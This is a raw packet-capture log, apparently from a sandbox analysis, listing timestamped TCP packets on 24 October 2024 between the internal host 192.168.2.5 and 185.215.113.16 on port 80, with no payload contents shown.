Oct 24, 2024 08:38:12.715696096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715725899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715740919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715802908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715828896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715843916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715848923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715848923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715848923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715859890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715873957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715876102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715890884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715897083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715908051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715918064 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715920925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.715943098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.715970993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.756949902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.756980896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.756998062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.757014036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.757030010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.757040977 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.757083893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.767940044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.767956972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.767973900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768011093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768029928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768060923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768076897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768094063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768107891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768109083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768115997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768136978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768158913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768166065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768208981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768208981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768224001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768249989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768263102 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.768327951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.768388987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776674032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776690960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776707888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776734114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776752949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776791096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776807070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776823044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776846886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776849031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776861906 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776865005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776884079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776887894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776901960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776906013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776916981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776918888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776937962 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776956081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.776961088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776977062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.776993990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777002096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777025938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777034998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777086020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777143955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777160883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777179003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777193069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777216911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777220011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777297020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777317047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777328014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777333975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777349949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777352095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777365923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777379036 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777409077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777420044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777436018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777451992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777462959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777471066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777477980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777487993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777497053 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777504921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777513981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777517080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777529955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777551889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777560949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777857065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777873039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777890921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777901888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777911901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777920008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777934074 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777935982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777954102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777956963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777966022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.777970076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777987003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.777991056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.778002977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.778007030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.778026104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.778034925 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.811949015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.811968088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.811984062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.812077999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.816653013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.816667080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.816684008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.816699028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.816842079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832324982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832339048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832365036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832380056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832434893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832442999 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832461119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832468033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832484007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832484961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832499981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832503080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832515955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832518101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.832557917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.832557917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.874049902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874165058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874182940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874195099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.874231100 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.874335051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874351978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874368906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874383926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.874420881 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.874473095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874489069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.874538898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885023117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885065079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885080099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885113001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885119915 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885138988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885154009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885169983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885188103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885217905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885231018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885272980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885288000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885303974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.885308981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885308981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885308981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885308981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885308981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885308981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885349989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.885349989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.894645929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.894689083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.894705057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.894740105 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.894793034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.895025015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.895073891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.895195961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.895211935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.895242929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.895253897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.895607948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.895658970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.896714926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.896728992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.896764994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.896776915 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.897015095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.897061110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.897161007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.897207975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.897870064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.897890091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.897907019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.897921085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.897933006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.897952080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898016930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898041964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898057938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898057938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898066044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898082018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898092031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898097038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898119926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898133039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898138046 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898159027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898183107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898196936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898205996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898211956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898216009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898227930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898237944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898252964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898257017 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898267984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898274899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898284912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898289919 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898303032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898303986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898322105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898332119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898335934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898344040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898351908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898365021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898366928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898382902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898386955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898397923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898412943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898415089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898427963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898433924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898443937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898458958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898461103 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898473978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898480892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898488998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898504019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898504972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898519993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898530006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898536921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.898555040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.898576975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.929085970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.929101944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.929116964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.929131985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.929217100 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.929274082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.933752060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.933815956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.933832884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.933844090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.933926105 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.949414968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949430943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949455976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949471951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949486017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949522018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949538946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949553967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949557066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.949569941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949585915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.949637890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.949692965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991108894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991138935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991153955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991189957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991213083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991219997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991229057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991245031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991247892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991260052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991272926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991275072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.991286039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991308928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.991329908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.002310991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002434969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002450943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002465963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002482891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002500057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002511978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.002515078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002531052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002547026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.002566099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.002866030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002919912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.002955914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002969027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002983093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.002999067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.003014088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.003027916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.003047943 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.011759996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011786938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011850119 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011861086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.011864901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011889935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011895895 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.011904001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011919022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011934042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.011935949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.011951923 CEST	80	60982	185.215.113.16	192.168.2.5
